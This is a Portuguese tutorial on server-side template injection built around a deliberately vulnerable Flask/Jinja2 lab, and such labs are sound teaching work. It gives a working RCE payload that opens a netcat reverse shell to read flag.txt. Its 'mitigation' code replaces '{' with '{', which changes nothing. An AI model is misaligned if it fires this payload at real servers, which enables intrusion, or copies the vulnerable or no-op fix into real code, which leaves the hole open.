Neste post
Introdução
Para entender adequadamente o conceito de SSTI (Server-Side Template Injection), é crucial ter uma compreensão dos templates e de como funcionam no desenvolvimento web. Simplificando, um template é um arquivo ou parte de código que define a estrutura para representar dados ou a apresentação visual de uma aplicação.
Os templates desempenham um papel fundamental no desenvolvimento web, permitindo aos desenvolvedores separar o conteúdo estático do dinâmico. Eles oferecem uma maneira eficiente de reutilizar e organizar código HTML, CSS e JavaScript, facilitando a manutenção e escalabilidade dos projetos.
Diversos frameworks para desenvolvimento web suportam templates, tais como:
- PHP: Twig
- Python: Django, Jinja2
- Java: Java Server Pages (JSP)
No entanto, a flexibilidade dos templates também pode representar uma vulnerabilidade significativa. É aqui que a SSTI entra em jogo, explorando falhas na implementação dos templates para executar código no servidor.
Sobre a vulnerabilidade
A vulnerabilidade de SSTI (Server-Side Template Injection) ocorre quando um atacante consegue injetar templates na aplicação, levando o backend a interpretar código malicioso e permitindo que o atacante ganhe controle sobre o comportamento do servidor.
Uma vez explorada, essa vulnerabilidade possibilita uma série de ataques, incluindo:
- Execução de Comandos: O atacante pode executar comandos arbitrários no servidor, comprometendo a segurança do sistema e potencialmente obtendo acesso não autorizado.
- Leitura de Arquivos Sensíveis: O código malicioso pode ser usado para ler arquivos sensíveis no servidor, como arquivos de configuração, credenciais de banco de dados ou até mesmo código-fonte.
- Exfiltração de Dados: Uma vez dentro do sistema, o atacante pode extrair dados sensíveis, como informações de usuários, dados financeiros ou propriedade intelectual, por exemplo.
Montar um ataque de SSTI requer habilidades para detectar, identificar e explorar a vulnerabilidade.

Detectar
Identificar uma Server-Side Template Injection (SSTI) pode ser confundido com um ataque de Cross-Site Scripting (XSS). Portanto, ao encontrar uma possível vulnerabilidade, é importante realizar uma análise cuidadosa para confirmar se realmente se trata de uma SSTI.
Identificar
Após detectar uma possível SSTI, é crucial utilizar técnicas apropriadas para identificar o tipo de framework ou tecnologia que está sendo utilizado na aplicação. Isso é fundamental para planejar e executar um ataque bem-sucedido.

Exploração
Uma vez confirmada a presença de SSTI na aplicação, abre-se a oportunidade de buscar uma Execução Remota de Código (RCE) ou acessar dados sensíveis do servidor. Isso pode ser realizado utilizando payloads e técnicas adequadas para explorar essa vulnerabilidade de forma eficaz.
Laboratório
Neste laboratório prático, utilizamos a combinação do Jinja2 com o Flask para criar um ambiente de teste onde podemos explorar a vulnerabilidade de SSTI.
Template HTML
O código HTML abaixo representa o template utilizado para construir a interface do usuário:
<!DOCTYPE html>
<html lang="pt-br">
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<title>Perfil</title>
<link rel="stylesheet" href="static/style.css">
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-light bg-light"><a class="navbar-brand" href="#">Meu Perfil</a><button
class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav"
aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button>
<div class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-nav ml-auto">
<li class="nav-item active"><a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a></li>
</ul>
</div>
</nav>
<div class="container mt-5">
<div class="row">
<div class="col-md-4">
<div class="card"><img src="static/image.png" class="card-img-top" alt="Imagem do Perfil">
<div class="card-body">
<h5 class="card-title">{}</h5>
</div>
</div>
</div>
<div class="col-md-8">
<div class="card">
<div class="card-body">
<h5 class="card-title">Bem-vindo!</h5>
<p class="card-text">Este é o seu perfil. Use o formulário abaixo para buscar outros usuários.</p>
<form>
<div class="form-group"><input type="text" class="form-control" name="user"
placeholder="Digite o nome do usuário"></div><button type="submit"
class="btn btn-primary">Buscar</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
Código backend (Flask)
O código Python abaixo representa o backend da aplicação Flask. Aqui, o template HTML é renderizado e o nome de usuário é passado como parâmetro GET para o servidor sem nenhum tipo de sanitização adequada.
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/')
def index():
user = request.args.get("user") or "Jiuseppe"
template = """<!DOCTYPE html><html lang="pt-br"><head><meta charset="UTF-8"><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><title>Perfil</title><link rel="stylesheet" href="static/style.css"></head><body><nav class="navbar navbar-expand-lg navbar-light bg-light"><a class="navbar-brand" href="#">Meu Perfil</a><button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse" id="navbarNav"><ul class="navbar-nav ml-auto"><li class="nav-item active"><a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a></li></ul></div></nav><div class="container mt-5"><div class="row"><div class="col-md-4"><div class="card"><img src="static/image.png" class="card-img-top" alt="Imagem do Perfil"><div class="card-body"><h5 class="card-title">{}</h5></div></div></div><div class="col-md-8"><div class="card"><div class="card-body"><h5 class="card-title">Bem-vindo!</h5><p class="card-text">Este é o seu perfil. Use o formulário abaixo para buscar outros usuários.</p><form><div class="form-group"><input type="text" class="form-control" name="user" placeholder="Digite o nome do usuário"></div><button type="submit" class="btn btn-primary">Buscar</button></form></div></div></div></div></div></body></html>""".format(user)
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)
Neste laboratório, focamos na manipulação do parâmetro user na URL para explorar a vulnerabilidade de SSTI.
Com isso, temos a aplicação rodando!

Passo 1: Identificar
-
Testamos um XSS simples para ver se a aplicação pode ser vulnerável.

-
Utilizamos a payload
{{7*7}}no parâmetrouserna URL. -
Observamos que o resultado exibido na página é
49, indicando que o servidor está interpretando e executando a expressão matemática inserida como um template Jinja2, confirmando assim a presença de uma vulnerabilidade SSTI.
Passo 2: Explorar
-
Como resultado, conseguimos obter uma execução remota de código (RCE) no servidor, como evidenciado pelo comando
idsendo executado e o resultado retornado.
-
Utilizamos a payload maliciosa
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f").read()}}para obter uma reverse shell no servidor e recuperar o arquivo “flag.txt”.
Mitigação
- Sanitização do Parâmetro
user
Para mitigar a vulnerabilidade SSTI neste laboratório, aplicamos uma sanitização simples no código backend. O caractere { foi substituído por { na entrada do usuário, limitando a capacidade de explorar esse caso específico de SSTI. Em uma aplicação real, a abordagem correta é evitar montar templates concatenando ou formatando entrada do usuário antes de chamar funções como render_template_string.
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/')
def index():
user = request.args.get("user") or "Jiuseppe"
user = user.replace("{","{")
template = """<!DOCTYPE html><html lang="pt-br"><head><meta charset="UTF-8"><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><title>Perfil</title><link rel="stylesheet" href="static/style.css"></head><body><nav class="navbar navbar-expand-lg navbar-light bg-light"><a class="navbar-brand" href="#">Meu Perfil</a><button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse" id="navbarNav"><ul class="navbar-nav ml-auto"><li class="nav-item active"><a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a></li></ul></div></nav><div class="container mt-5"><div class="row"><div class="col-md-4"><div class="card"><img src="static/image.png" class="card-img-top" alt="Imagem do Perfil"><div class="card-body"><h5 class="card-title">{}</h5></div></div></div><div class="col-md-8"><div class="card"><div class="card-body"><h5 class="card-title">Bem-vindo!</h5><p class="card-text">Este é o seu perfil. Use o formulário abaixo para buscar outros usuários.</p><form><div class="form-group"><input type="text" class="form-control" name="user" placeholder="Digite o nome do usuário"></div><button type="submit" class="btn btn-primary">Buscar</button></form></div></div></div></div></div></body></html>""".format(user)
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)

zip do laboratório abaixo!
Conclusão
Em conclusão, a vulnerabilidade de SSTI (Server-Side Template Injection) representa uma ameaça significativa para a segurança das aplicações que utilizam frameworks baseados em templates.

